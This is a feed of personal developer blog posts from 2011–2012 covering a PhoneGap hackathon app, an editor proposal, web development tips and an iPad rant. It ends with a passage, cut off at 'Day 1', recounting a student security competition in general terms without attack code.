<p>We started with the problem statement as the complete guide for our application and ought bottom up for an application that would be the least and best amount of work to create an app that fulfils the app requirements.</p>
<p>We started off with a few wireframes, and features thrown around. At the end of the one hour mark, we had our feature list down to :</p>
<ol>
<li>Owners can share pics of their cars. We wanted the application to be for the owners of the cars, which brings in a lot of additional data. Pic sharing was the most logical thing to do. We were thinking something like an Instagram Community where everybody posts pics about where they have been, their rigs and so on.</li>
<li>A mileage meter. This was a slight gamification of the GPS data that we get. At the start of every journey/trip, you could mark it as such in the app, and we would record your position every 5 minutes. At the end of the trip, you could mark your ending point and see how much you travelled. Also important was the fact that we decided to show a number corresponding to every application user, showing how many miles he/she has travelled so far. Seeing that the next guy has travelled only so and so more miles than you may lead you to travel more.</li>
<li>Maps, obviously. A map for all the previous journeys that you have taken.</li>
</ol>
<h1 id="work">Work</h1>
<p>We tried to start with JQ.Mobi, which is an alternative to Jquery Mobile, but could not justify it, and switched to JQuery Mobile as it offered better integration with Dreamweaver.</p>
<p>The basic application layout was done using a mix of JQuery Mobile and some custom css. I came across a very good service called Build Phonegap, that allows you to compile your Phonegap application online to different platforms. We started with basing our application on the <a href="https://github.com/phonegap/phonegap-start">Phonegap Starter App on GitHub</a> which was quite good. The examples directory in the phonegap download is what we ended up using, though.</p>
<p><em>Edit</em>: After working a lot more in mobile development, I have come to see a lot more frameworks, and find JQTouch to be quite the minimalist do-one-thing-well plugin.</p>
<p>The most difficult part was to get the application to compile for iOS, without paying the Apple Developer Licence. Since, I could not see myself selling iOS apps anytime soon in the Apple App Store, I was stuck with a jailbroken iPad + iPod Touch, and had to figure out out to compile.</p>
<p>The steps, which took me a lot of time to find on the internet, include :</p>
<ol>
<li>Download and install the XCode and the Adobe Phonegap toolkit. I downloaded the latest version, 4.2 for xcode, which makes the process a bit easier.</li>
<li>Follow the instructions on <a href="http://www.youtube.com/watch?v=n1ZDMmwYHdE">this youtube video</a> to allow xcode to compile your application without Code Signing.</li>
<li>Create a corvora application in xcode and follow <a href="http://wiki.phonegap.com/w/page/52010495/Getting%20Started%20with%20PhoneGap-Cordova%20and%20Xcode%204">these instructions</a> to add the www folder to the application.</li>
<li>Compile. If you have an iDevice connected, you should be able to compile and install your application in a single step.</li>
</ol>
<p>You may need to change your application configuration to “Do not code sign” for this to work.</p>
<p>Getting all the above steps to work for the first time, on a borrowed MacBook Pro was a lot of work, for a mac noob like me. But at the end, getting to see the application getting launched on multiple devices and looking equally good was worth it.</p>
<p>The rest of the time was spent on getting the application features to work, while fighting off sleep. The end result was a still-incomplete application , which ran on multiple devices.</p>
<h1 id="blackberry">Blackberry</h1>
<p>Unfortunately, we were not able to run the app on the only Blackberry Phone that we had as Phonegap only supports Blackberry 5 as of now, while our phone had been upgraded to 6.</p>
<p>Our winning strategy from the start had been to dazzle the judges with an application running across multiple devices, and working equally good. We were pretty sure that none of the other contestants would put in so much effort to get it to run on non-android devices.</p>
<h1 id="backend">Backend</h1>
<p>I wrote the application backend in PHP limonade, a framework that i am quite used to. The concept was to give out a rest api to the application to use to Authenticate users and carry out backend tasks.</p>
<h1 id="code">Code</h1>
<p>The code is obviously messy, as a result of being hacked in on a single 18 hour marathon. You may be able to get a few good ideas from the implementations, though. The entire code is available at my <a href="https://github.com/captn3m0/akira">akira</a> and <a href="https://github.com/captn3m0/akira-backend">akira-backend</a> repositories.</p>
<h1 id="thoughts-on-phonegap">Thoughts on Phonegap</h1>
<p>My second slide in the presentation I did for the contest(made on Keynote on the Ipad, while walking to the contest room) says proudly “Phonegap is awesome”. And i seriously mean that. I’ve got started in the world of mobile development, while not having to worry about cross browser compatibility issues, and the like. I can do stuff easily using the already existing technologies that I know and love. There are a ton of excellent Phonegap plugins out there, and many more being written right now.</p>
<p>I am really impressed with what a web developer could do with Phonegap, and its ease of use. The Adobe Developers promised me that the integration would be far better in Dreamweaver 6, which I might just try. Although, it was far easier for me to compile and install the application on an android phone, so I hardly used the emulator which I took the pains to install.</p>
<h1 id="expectations">Expectations</h1>
<p>What I’d really love, though is a Phonegap simulator. Instead of having to install an android emulator, what if Dreamweaver comes with a Phonegap simulator. Since Phonegap is all javascript, it should be trivial to create basic UIs that look and feel like the native interface of the OS chosen. I would still have to do final tests on the emulator, which i believe are worthless, compared to running it on actual devices. My point is, installing the android emulator and getting the app to run in a emulator is really no big deal, but turns out be a huge time consuming step. For interested web developers, this could be skipped pretty easily, if only Phonegap had its own simulator.</p>
<p>This is all just theory, as you’d have to install the complete Android and ios sdk to compile it for your device, anyway. But it would be a welcome step.</p>
<h1 id="presentation">Presentation</h1>
<p>The presentation was made as a string of screenshots developing the application, so its not really much help. But here it is anyway. <a href="https://speakerdeck.com/u/captn3m0/p/akira-presentation">View Original</a>.</p>
<script async="" class="speakerdeck-embed" data-id="4f6effee933f08002201ea60" data-ratio="1.3333333333333333" src="//speakerdeck.com/assets/embed.js"></script>
<h1 id="prize">Prize</h1>
<p>I won a PS3. Yay!</p>
<p>If you have any problems with the code, or the process, feel free to <a href="/contact">reach out</a>.</p>
Sympathy: My vision of a code editor2012-05-20T00:00:00+00:00https://captnemo.in/blog/2012/05/20/sympathy-editor<div class="alert alert-info">
<strong>Update</strong>: I have worked on an editor protype along the lines of this blog post. The result is called <a href="/sympathy/">Sympathy Editor</a>. Please check it out.
</div>
<p>I’ve used more than a dozen of editors for mainly two purposes: coding, and writing text. The most liked and used among them would be [Notepad++][http://notepadplusplus.org/] and [Geany][http://geany.org/]. I’m also a vim user, and primarily a web developer. I’ve always liked simple tools that do one thing well, as per the unix philosophy.</p>
<p>The era of WYSIWYG editors in web development is long past. I’m yet to hear someone suggest Dreamweaver as a serious editor. If you were to go out in the Rails world, you’d mostly be met by vim/emacs/textmate fans. As a linux user, I use geany for most of my editing work, including blog posts, like this one (Markdown is hands down, the best thing to happen to word-processing).</p>
<h1 id="browser-meet-editor-meet-terminal">Browser meet Editor meet Terminal</h1>
<p>There were a few attempts at creating code editors (I don’t like the term IDE) powered by the gecko engine some time back. None of them materialized to anything special. Today, a normal workflow for me involves 3 open applications - a browser (chromium), a terminal window, and a text-editor.</p>
<p>And I’d alt-tab all the way to hell on them.</p>
<p>At this stage, almost everyone will tell me, there is <em>no problem</em> with this workflow. This <em>is exactly how it is supposed to work</em>. But we are not in the 1990s when browsers were just another application. At any given time, I usually have multiple stackoverflow tabs open in the browser pertaining to the code I am writing.</p>
<p>On the other hand we have a terminal, which I usually use to run builds, compile, and do version control stuff. No amount of integrated IDE magic will make me move away from the beloved command line (as it should be).</p>
<p>The easiest solution is to get a second monitor. And yes, I love using dual monitors. But I’m still not satisfied. I want something more. I have 3 core applications, but using 3 monitors is an extremely costly venture. So I’m stuck to running a text editor, and alt tabbing my way between Chromium and Gnome Terminal.</p>
<h1 id="cloud-ides">Cloud IDEs</h1>
<p>One of the solutions that keeps popping up are the almighty cloud based IDEs (like c9.io), which I really like. But the experience is sub-par at best.</p>
<p>Another cool project called <a href="https://github.com/Gozala/sky-edit">sky-edit</a> involves an extension in mozilla, which enables one to edit any text file in the browser itself, by pointing it to “edit:” urls. This is closer to what my ultimate aim is: “text editor in a browser, editing local files”.</p>
<h1 id="workflow">Workflow</h1>
<p>What I’d want my workflow to be is point my browser to a text file, edit it in place, change the tab to the live site, and then refresh. Once I realize I have to restart apache, I’d just change my tab to the terminal one, and do my cli stuff there itself.</p>
<h2 id="shortcuts">Shortcuts:</h2>
<ul>
<li>Ctrl+T: New browser tab</li>
<li>Ctrl+E: New editor tab</li>
<li>Ctrl+Y: New Terminal tab</li>
<li>Ctrl+S: Save a file</li>
</ul>
<p>All <code class="language-plaintext highlighter-rouge">file://</code> urls are browsable as usual, and all text files become editable. Just think of all the possibilities. As long as it uses plain old javascript/css, it could re-use most of the editing part from the excellent ace project. Even codemirror would work brilliantly.</p>
<p>And the best part is that it is still a complete browser. Meaning you get to use all your bookmarks, bookmarklets, plugins, and fancy stuff that you expect in a browser.</p>
<h2 id="integration">Integration</h2>
<p>Just think of the possibilities! Since this is just another browser, you can build extensions that target edit windows. Meaning an extension could add support for auto-completion very easily. And repeat for inline documentation browsing.</p>
<p>A build shortcut could probably be used to switch to a running version of the website in some way. What about other stuff? Like spell-checking? Browsers support that. Even dictation would probably work.</p>
<p>And markdown editing! Hell yeah!. Edit it all in your browser itself, while keeping github open in another tab.</p>
<h1 id="start">Start</h1>
<p>This is a simple propsal of sorts, to get a few recommendations about how this should proceed. I asked a similar question on the askubuntu forums, which made me realize what the real problems were. I’m trying to build chromium and get something off the ground. The project is tentatively titled <code class="language-plaintext highlighter-rouge">sympathy</code> and has zero code as of now.</p>
<p>I tried to earlier write something similar in python, but realized that I could not build an awesome feature complete text-editor by myself. Which made me shift to forking something like geany. I then realized that getting the webview in geany to be feature-complete as a browser would be again heavily demanding.</p>
<p>The easiest path out is to build the editor in the browser. Why? Because there has already been a lot of work done in this direction, including ace, bespin, codemirror and lots of other editors. Embedding the terminal is another problem, which will be harder to solve in the browser, but I’m willing to give it a try.</p>
<p>As such, my plan is to fork chromium, and work on adding support for text-file editing in the browser. There are a few questions I’d like to answer over time, such as should the browser be stripped? Chromium is a heavy project, and includes some complex features baked right in, which are definately not needed in a text-editor. For instance “Cloud Print”, “Chrome Sync” etc. But at the same time, there is a reason to keep it in as well. I’d like to use this as my primary browser, using all the extensions, bookmarks, and sync features it offers me.</p>
<p>Sounds interesting? I’ve got no idea on how to approach this. Help me out. If you do not like facebook comments, please discuss this on Hacker News, or feel free to drop me a mail.</p>
<h2 id="update">Update</h2>
<p>I did try my best on developing such a thing, and the end result (still far from finished) is <a href="/sympathy/">Sympathy Editor</a>. Try out the beta. Hopefully you will like it.</p>
New Design of CaptNemo.in2012-03-31T00:00:00+00:00https://captnemo.in/blog/2012/03/31/new-design-captnemo-in<p>I did a redesign of the blog. The main goals for the redesign were to reach a
clean, readable layout, which I feel I’ve accomplished.</p>
<h3 id="old-design">Old Design</h3>
<p>Everything was plain old bootstrap, except for the hover effect on the
photograph. I’ve also removed the old “Related Posts” feature, which I felt was
not at all useful. In the old homepage, the list of articles was earlier presented as a list (<li>), while it is now slightly better. The topbar has also been removed, instead focussing on a far better sidebar.</p>
<h3 id="new-stuff">New Stuff</h3>
<p>I wanted a <em>clean design</em> more than anything. So instead of the sharebox being persistent on every device, I decided to hide it on lower resolutions. It currently hides if the screen width < 1100px, so unless you are on a widescreen resolution monitor and using your browser on fullscreen, you won’t see it.</p>
<p>Responsive design via bootstrap allows you to easily support mobile devices. The left sidebar is stacked, so that even mobile devices have no problem with the layout.</p>
<p>I’d describe the design as <em>clean, minimal</em>.</p>
<h3 id="bootstrap">Bootstrap</h3>
<p>The earlier design was using Bootstrap 1.3, and I’ve upgraded to 2.0.2 now.
I’ve used the new version before, but with zero changes using
<a href="http://bootswatch.com/">bootswatch</a> in <a href="/codechef/">a few other places</a>. But
this time, I decided to tweak bootstrap for my needs.</p>
<p>I did away with the navigation bar, and changed the default fonts. The site
does not feel like a stock bootstrap site any longer. The major contribution
from bootstrap, was in fact the grid system, and the responsiveness, which
really helped me get it done quickly.</p>
<h3 id="typography">Typography</h3>
<p>The fonts used are <a href="http://www.google.com/webfonts/specimen/Ubuntu">Ubuntu</a> for the content, and <a href="http://www.google.com/webfonts/specimen/Gentium+Book+Basic">Gentium Book
Basic</a> for the
headings. I’m using <a href="http://www.google.com/webfonts">Google Web Fonts
Directory</a> for the fonts.</p>
<p>I’m only loading the italicized version of Gentium as I’ve chosen to display
all headings (h1-h6) as italics.</p>
What can we learn from Hollywood2012-03-22T00:00:00+00:00https://captnemo.in/blog/2012/03/22/hollywood-what-can-we-learn<p>There is Lot of buzz in the startup industry regarding the killing of Hollywood. However, before we do that (Amen), there is something that I wish to learn from it.</p>
<p>Hollywood ships.</p>
<p>No matter how much we shout at their broken distribution model, there is one thing that I deeply admire about hollywood. It gets shit done. On time. Again and again.</p>
<p>Why is this important? Because it is One of the largest industries I see around that stick to deadlines on a regular basis. This is something deeply missing in the tech world.</p>
<p>When the trailers of a movie tell me that it will be out in summers, I know I can keep a block reserved for when it will come out. Quite unlike Microsoft, which may push back its release dates as often as it wants.</p>
<p>But I thought the Tech industry was done with this deadline bullshit?</p>
<p>Yes, I too despise deadlines and can’t wait for them to get away, but this article is about something else. This is much more about the undying spirit of Hollywood to release stuff.</p>
<p>So each time you are facing feature creep, and it looks like it will never ship, just look at Hollywood and get it done.</p>
Planet IITR Update2012-03-13T00:00:00+00:00https://captnemo.in/blog/2012/03/13/planet-iitr-update<p>So, I was just going through my old blog posts, and saw the <a href="http://captnemo.in/blog/2011/07/09/announcing-planet-iitr/">Planet IITR Update</a>, which I created out of a need for people to be able to find blogs from other people in IITR.</p>
<p>Since no one has ever submitted a single link to the <a href="http://www.planetaki.com/iitr">planet</a> , I just thought, why shouldn’t I just crawl all my Facebook friends from IIT-R, and check their website URLs. The Facebook part took ~20 minutes (getting list of users from my 2 friendlists, followed by getting the website url for each of those friends). After that came the link checking part, which tool ~15-20 minutes as well. A list of all the websites (very few people fill up that that field on fb) I found during the search is <a href="http://www.hastebin.com/quhexokere.dos">here</a> (just 39).</p>
<p>After updating the <a href="http://www.planetaki.com/iitr">planet</a>, I had to update the spreadsheet as well. And <a href="http://www.planetaki.com/iitr/subscriptions">here’s a list of the blogs</a>, just in case.</p>
<iframe src="http://www.clipboard.com/embed/LQo5klMbO4eleZdgi28bUFHcXl7cS-ctHmPe?widthAdjust=0&heightAdjust=0&showBorder=0&footerOn=false" scrolling="no" frameborder="0" width="500" height="3000"></iframe>
<p>In case someone is interested in taking over maintenance (meaning link curation) for <a href="http://www.planetaki.com/iitr">Planet</a>, please contact me at <a href="mailto:[email protected]">[email protected]</a>, and I’ll be glad to share the authentication details with you.</p>
<p>Link to Planet : <strong><a href="http://www.planetaki.com/iitr">Planet IIT-R</a></strong></p>
<p>In case you were wondering what this planet stuff is all about, it allows one to add a single curated feed to one’s feed reader and get all updates via that. So planet iitr is a curated collection of blogs pertaining to IIT-R.</p>
Why you should learn HTTP?2012-03-05T00:00:00+00:00https://captnemo.in/blog/2012/03/05/why-learn-http<p>I see people learning RoR, PHP, Django, with a single intent: getting their own website. Of course, it is the million dollar idea that will blow everyone away, as always. But what I find fascinating is that too many upcoming web developers are testing the waters with opinionated coding frameworks. The entry barrier for software development has been lowered exponentially in the last decade, leading to a slew of web frameworks, tutorials, and screencasts. Today is arguably the best time to be involved in software development. Lots of people are learning to code their first web-site with rails, or django. There are lots of benifits with this approach: as a beginner, you are kept isolate from all the complexities, and can focus more easily on your application.</p>
<p>But, it also leads to shallow learning. You could have written a dozen sinatra apps, and still not understand how it all works. And as it stands, it is not essential to learn it. You can easily develop entire websites thinking only in terms of urls, hyperlinks, routes and controllers. This is all good for starting up, when you don’t wanna deal with the complexity of it all, but I’d expect any competent web-developer to understand HTTP.</p>
<p>You see, HTTP is the foundation for all of web. It is how the internet tubes work. Learning HTTP is uncovering the hidden layer behind your browser. It is understanding how cookies, and sessions work in PHP; how xsrf attacks happen and mitigating against them; the magic that rails does when it creates objects from the submitted form parameters transparently for you. And the best part is that its not all that difficult to learn at all.</p>
<p>There was a <a href="http://news.ycombinator.com/item?id=2724488">lot of debate concerning REST recently</a>. I don’t claim to understand REST fully. I’m yet to meet someone who does. But I can comfortably build RESTish APIs, and consume them with ease without breaking a sweat. And smile at the fact that its all just HTTP. You cannot move to REST, <a href="http://en.wikipedia.org/wiki/HATEOAS">HATEOAS</a> unless you are comfortable with HTTP.</p>
<p>So, if you are a beginner in web-development, here’s my advice to you: Understand HTTP. A few pointers:</p>
<ul>
<li>Read <a href="http://shop.oreilly.com/product/9781565925090.do" title="HTTP: The Definitive Guide">a good</a> <a href="http://shop.oreilly.com/product/9781565928626.do" title="HTTP Pocket Reference">book</a> on HTTP.</li>
<li>Read the <a href="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP RFC</a>.</li>
<li><a href="https://en.wikibooks.org/wiki/Communication_Networks/HTTP_Protocol">Wikibooks</a> and <a href="http://en.wikipedia.org/wiki/Http">Wikipedia</a> entries on HTTP are quite good.</li>
<li>Use the network tab in Webkit Inspector/Firebug. And understand each of the damn headers.</li>
<li>Start using <code class="language-plaintext highlighter-rouge">curl -i</code>, if you don’t already</li>
<li>Above all, be curious</li>
</ul>
<p>Question the web.</p>
Shift to bundler 1.1 (Ruby)2012-02-23T00:00:00+00:00https://captnemo.in/blog/2012/02/23/shift-to-bundler-1.1<p>In case someone out there is still stuck with bundler <code class="language-plaintext highlighter-rouge">1.0</code>, and hates seeing the <code class="language-plaintext highlighter-rouge">Fetching source index for http://rubygems.org/.</code> screen, please update to <code class="language-plaintext highlighter-rouge">bundler 1.1</code>.</p>
<p>The following command should do the trick:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gem install bundler --pre
</code></pre></div></div>
<p>Bundler 1.1 is faster by a huge margin in comparision to 1.0.</p>
<h3 id="references">References</h3>
<ul>
<li><a href="http://patshaughnessy.net/2011/10/14/why-bundler-1-1-will-be-much-faster">http://patshaughnessy.net/2011/10/14/why-bundler-1-1-will-be-much-faster</a></li>
<li><a href="http://robots.thoughtbot.com/post/2729333530/fetching-source-index-for-http-rubygems-org">http://robots.thoughtbot.com/post/2729333530/fetching-source-index-for-http-rubygems-org</a></li>
</ul>
Making post requests with 'request' module in node.js2012-02-22T00:00:00+00:00https://captnemo.in/blog/2012/02/22/make-post-request-with-requests-node.js<p>Was stuck at this for quite some time:</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="kd">var</span> <span class="nx">postData</span><span class="o">=</span><span class="p">{</span>
<span class="na">a</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
<span class="na">b</span><span class="p">:</span><span class="mi">2</span>
<span class="p">};</span>
<span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">).</span><span class="nx">post</span><span class="p">({</span>
<span class="na">uri</span><span class="p">:</span><span class="dl">"</span><span class="s2">http://example.com/test</span><span class="dl">"</span><span class="p">,</span>
<span class="na">headers</span><span class="p">:{</span><span class="dl">'</span><span class="s1">content-type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span><span class="p">},</span>
<span class="na">body</span><span class="p">:</span><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">querystring</span><span class="dl">'</span><span class="p">).</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">postData</span><span class="p">)</span>
<span class="p">},</span><span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">,</span><span class="nx">body</span><span class="p">){</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">body</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">res</span><span class="p">.</span><span class="nx">statusCode</span><span class="p">);</span>
<span class="p">});</span></code></pre></figure>
<p>This will make a post request to <code class="language-plaintext highlighter-rouge">http://example.com/test</code> with the querystring parameters in postData. Meaning if you are using PHP, you can see the variables in <code class="language-plaintext highlighter-rouge">$_POST</code> instead of parsing request body.</p>
<p>References:</p>
<ul>
<li><a href="https://gist.github.com/1360979">https://gist.github.com/1360979</a></li>
<li><a href="https://github.com/mikeal/request">https://github.com/mikeal/request</a></li>
</ul>
The only way I can work any longer2012-02-18T00:00:00+00:00https://captnemo.in/blog/2012/02/18/the-only-way-i-can-work<blockquote>
<p>Being a good programmer is 3% talent and 97% not getting distracted by the Internet.</p>
</blockquote>
<p>Firstly, a frank admission.</p>
<blockquote>
<p>I procastinate.<br />
A lot.<br />
Seriously.</p>
</blockquote>
<p>For every second I spend in front of my computer, trying to get some work done, there is a continous struggle going on between my “work” and “play” side of things. Unfortunately, the “play” side seems to be winning. <strong>A lot</strong>. So I decided to wage a war against it.</p>
<p>Here is my arsenal of tools:</p>
<ul>
<li><a href="https://github.com/leftnode/get-shit-done">get-shit-done</a> - Script blocks all access to various sites(FB,reddit etc)</li>
<li><a href="http://support.google.com/chrome/bin/answer.py?hl=en&answer=142059">Chrome Profiles</a> - One of my profiles is called “get-shit-done”. It features my development extensions, apps, bookmarks, and nothing else. It is plain vanilla Chromium with no puffy unicorns luring me to check my Facebook Notifications.<br />
<img src="http://i.imgur.com/f7B9C.jpg" alt="Chrome Profiles" /></li>
<li>Music - I find Youtube a surprising good source of music discovery. I listen to almost everything. Recently, I’ve started to listen to <a href="http://www.youtube.com/watch?v=OB3wgiaOOvA">Ludovico Einaudi</a>. You may also like <a href="http://musicforprogramming.net/">http://musicforprogramming.net/</a> in this regard.</li>
<li>Minimal Tabs - I close a tab as soon as I’m done with it. This leads to ~3-5 tabs in my “get-shit-done” setup. A lesser number of tabs usually means a limit on the number of distracting links. Even Stackoverflow doesn’t help in this regard.</li>
<li>The get-shit-done profile even has settings to clear cache at closings. This leads to me being signed out of everything. Including GMail, Facebook, SO, and everything else. In this mode, I login to something, if it is essential to the work at hand.</li>
<li><a href="http://www.readitlater.com/">Read It Later</a> - I’ve setup all <a href="http://hckrnews.com">Hacker News</a> feeds above 20 points to be saved automatically to my Read It Later account, which I can easily consume on my iPad at my leisure. However, I find myself itching to browse hckrnews every 5 minutes.</li>
</ul>
<p>If you find yourself browsing facebook, reddit, youtube, hacker news, or reading blog posts on productivity, I urge you strongly to try this out. Defeating procastination is not easy. And its never a win-or-lose battle. What are your thoughts? How do you stop yourself from getting lost on the internetz? Tell me in comments.</p>
Things I love about Github2012-02-02T00:00:00+00:00https://captnemo.in/blog/2012/02/02/on-github<p>A slide from GitHub’s famous “How Github uses Github to build Github talk”:</p>
<script async="" class="speakerdeck-embed" data-id="4e79b461c9bdcb003f00331d" data-ratio="1.33333333333333" data-slide="10" src="//speakerdeck.com/assets/embed.js"></script>
<p>In their recent version of the talk at RubyConf 2011, they changed the slide slightly:</p>
<p><img src="/img/rubyconf-github.png" alt="No pings" /></p>
<p>It now reads, “No Pings” instead of “No Managers”.</p>
<p>Not nitpicking, just paying attention.</p>
<p>If you haven’t seen the talk (or just saw the slideshow), you should go and watch the talk (31 mins) <a href="https://confreaks.tv/videos/rubymidwest2011-how-github-uses-github-to-build-github">Right Now</a></p>
Choose Between Facebook Groups and Pages2012-01-26T00:00:00+00:00https://captnemo.in/blog/2012/01/26/facebook-choose-group-vs-page<p>I don’t know how many times I’ve said this, but the best way of creating a multi-user discussion platform is to create a facebook page. A little guidelines on what you should use:</p>
<ol>
<li>
<p>Create a group when you really need it (for <100 people) and when you want to have close knit discussions. (People get notifications for each post on the group) -> Leads to spamming</p>
</li>
<li>
<p>Never create a fake profile for an organization/event/celebrity/anything that is not you. Creating fake profiles is actually against Facebook’s TOS, and can lead to account discontinuation. Plus the barrier of friending a person (instead of “liking it) is higher enough to lead to lesser number of followers.</p>
</li>
<li>
<p>Create a Facebook Page for every other case. If you are a brand/news/startup/organization (public facing). This is usually the best choice, and it gives you the best outreach of all. (Especially if you want to reach out to People).</p>
</li>
</ol>
<p>In short, just create a Page, unless you know what you are doing.</p>
Google, Fix your Google+ API2011-12-06T00:00:00+00:00https://captnemo.in/blog/2011/12/06/google-plus-api-fixit<p>Dear Google,</p>
<p>Please release the Google+ write API as well. In case you’ve forgotten, its been 6 months since you launched. I’ve got stuff I wanna post, stuff I wanna develop. Please keep to your promises, and don’t make me quote Steve Yegge.</p>
<p>Also, while you are at it, please fix <a href="http://code.google.com/p/google-plus-platform/issues/detail?id=83">this issue</a> and make the list of +1d url’s available.</p>
<p>Thanks,
A frustrated developer and Google+ user.</p>
Someone jailbreak my iPad2011-12-05T00:00:00+00:00https://captnemo.in/blog/2011/12/05/someone-jailbreak-my-ipad<blockquote>
<p>This is a rant, mainly targeted at Apple. If you are a Apple fanboi, just <a href="https://daringfireball.net">go</a> <a href="https://www.eff.org/">elsewhere</a></p>
</blockquote>
<p>Please, and quickly. I can’t take another minute of this iTunes. It refuses to properly sync songs, does not update my songs tag info, unless I play them individually, and to top it all, my iPad gives out incorrect usage information about my apps. I tried adding them up, and it seems the total is way off. And since everything in thr Apple land lives happily inside the propertiery Apple File System, I cannot even check it realiabily. And don’t even get me started on the the application transfers. The file sharing system is so bad in iOS that almost evey other app comes built in with a wi-fi or ftp server. When alomst mevery app that deals with files starts ro do that, there is something definately wrong with your file system approach.</p>
<p>And why doesn’t my itunes recognize any video files at all. I was given a warning about needing QuickTime, and I installed it, but it still refuses to play them in iTunes, and doesn’t even give me an error string to hold on to.</p>
<p>Seriously, iTunes go back to the bloatware land that you came from. I’ll try my luck with something else from now on. And only if someone could give me the specs for the arcane plist format, I might write a PC version of the iBooks app. And calibre needs to fix up its pdf to epub approach. Inline styles are not used anymore, doesn’t it know already.</p>
<h3 id="a-few-days-later">A few days later…</h3>
<p>After spending a few more days with my iPad, I have developed a love/hate relationship wit it. I hate the ugly sync process, which still refuses to sync videos, telling me I have to delete everything to start sync. I love it for its ease of use, awesome touch, and aesthetics. I hate it for its lack of support, oepn sync protocols, and most of all Apple’s close mindedness regarding unsigned binaries.</p>
<p>Seriously Apple, if tablets are the computer of the future, treat them as auch. Let me treat it as a fully functional comouter, which lets me run whatever I want, with whatever privileges I want.</p>
<p>If Microsoft had tried to create such a walled garden of apps in Windows, would it have been so successful? Granted, people would love running apps from Windows 8 Marketplace, if only because it would keep their software updated. But Windows at least has a choice,to allow me to download a tiny binary from a small Windows Developer who does not want to pay MS just to let people use his/her apps.</p>
<p>An appstore is an excellent idea, executed brilliantly by Apple, but please follow MS and give us an official way to do whatever the hell I want to do with my iPad.</p>
<h3 id="a-few-weeks-later">A few weeks later…</h3>
<p>I really hate my iPad now, especially once I realise that my cheap Nokia cell phone has tether support, while my iPad does not. To do any task that may require you access to a normal file system, such as cloning a repository from github, or editing an document anywhere is impossible in the device. I love playing games on it, though, but it seems like a really costly device to play games and read books on. Get the Fire at less than half the price, and root it to install cyanogen mod (which will soon be available for the Fire).</p>
<p>Sometimes, I wonder if Indian carriers would have installed Carrier IQ on an iPad (which comes without a SIM card). I’ll find out as soon as I can root it.</p>
<p>One of my friends gave a very serious comment on the iPad : “It seems as if you have rented the device from Apple, rather than bought it”. And I’ve come to realise that its a reflection of the sad state that the electronics manufacturing industry is in today.</p>
<h3 id="a-few-more-weeks-later-">A few more weeks later :</h3>
<p><strong>I jailbroke my iPad :)</strong></p>
<h2 id="further-links-">Further links :</h2>
<ul>
<li><a href="http://gizmodo.com/5863640">Kindle fire unroots itself</a></li>
<li><a href="http://www.theverge.com/2011/12/16/2642039/">Fire doesnt allow you to visit android marketplace</a></li>
<li><a href="http://lifehacker.com/5863895/">Carrier IQ controversy</a></li>
<li><a href="http://www.gsmarena.com/nokia_x2_01-3610.php">Nokia dumb phone features</a> - X2-01</li>
<li>How <a href="http://cydiablog.com/category/jailbreak/">I Jailbroke my iPad</a></li>
</ul>
My Experience with the Deloitte Cyber Collegiate Threat Competition (2011)2011-11-20T00:00:00+00:00https://captnemo.in/blog/2011/11/20/cctc-blog<p>I recently was part of a team at IIT-Roorkee that won the Deloitte Cyber Collegiate Threat Competition. It was a competition modeled after The Deloitte sponsored CCDC in the US. The event will be organized in the subsequent years as well, and hence this blog post will summarize my experience so as to help any future participants. Moreover, the organizing team has guaranteed us that the competition will be altered significantly in the coming years. This was the first year that this event was organized, after all.</p>
<p>I’ll go into the contest round by round, so beginning with Round 1.</p>
<h1 id="round-1">Round 1</h1>
<p>Deloitte came to our campus, with little promotion about the event. A presentation was given on the current scenario of Cyber Threat, particularly with respect to India. Free swag was awarded to people who asked some good questions, or answered some as well. After the presentation, a quiz was goven out, consisting mainly of questions about Web Application Security. A few of the questions asked to write down code to circumvent a particular issue (like SQL Injection). But it was mostly about stuff that every security conscious Web Developer would know about.</p>
<p>After the quiz, they selected the top 9 candidates, and asked us to form teams. Make sure that you attend the quiz with your friends, as we definitely had an edge by knowing everyone in our team before the event. The number of teams varied from campus to campus. But if you perform decent enough, you will be selected.</p>
<h1 id="round-2">Round 2</h1>
<p>Each of the teams were given a VM Image, and we were asked to hack into it. We were not allowed to exploit vulnerabilities in the guest OS, or things like VMWare, or try to boot into the image with another OS, but other than that everything went.</p>
<p>The VM had a library application, with several vulnerabilities. A challenge sheet was mailed to us, and we were expected to finish as many challenges as we could. Any further vulnerabilities not mentioned in the challenge could also be mentioned, but theywere only to be used in the case of a tie with another team.</p>
<p>The time duration for Round 2 was 15 days and we were supposed to submit our reports by then. We were able to complete most of the challenges after we found a blind sql injection vulnerablity. Further, we were able to get a copy of the obsfucated PHP code, which we converted to simpler versions easily enough. We had no way to make use of the code, but it did help us in identifying possible files and entry routes for vulnerabilities.</p>
<p>To get a good score in round 2, try to attack every point in the application. In our case, some of them were too stupid to be used in a real case scenario. For instance, we had password hashes appearing in images. Pour through the javascript code, and search like hell. Stuff like w3af might help you, but since its a limited application only, it is often easier to just track the application flow. We did try kernel level exploites, but the VM was fully patched and up to date.</p>
<h1 id="round-3">Round 3</h1>
<p>Round 3 was organized at Hyderabad and was a head on hack everything contest. We were handed 3 virtual machines, with lots of vulnerable services. We had to keep those services running, which were periodically pinged by a scorebot. Scores were awarded in three categories : attack, defense, and flags.</p>
<p>Attack points were earned upon getting a shell on any of the other team’s servers.</p>
<p>Flag points of awardedon the basis of getting access to secrets stored inside the other team’s servers.</p>
<p>Defense points were earned on the basis of status of your own service.</p>
<p>The network architecture was 3 tiered. A single central router routed requests to a team’s router, which was then connected to an individual team switch. A switch was connected to the host VM, and the attack machines. Two different subnets were created for attack and defense in each team’s router. All uVMs were present in the attack subnets.</p>
<h2 id="day-1">Day 1</h2>
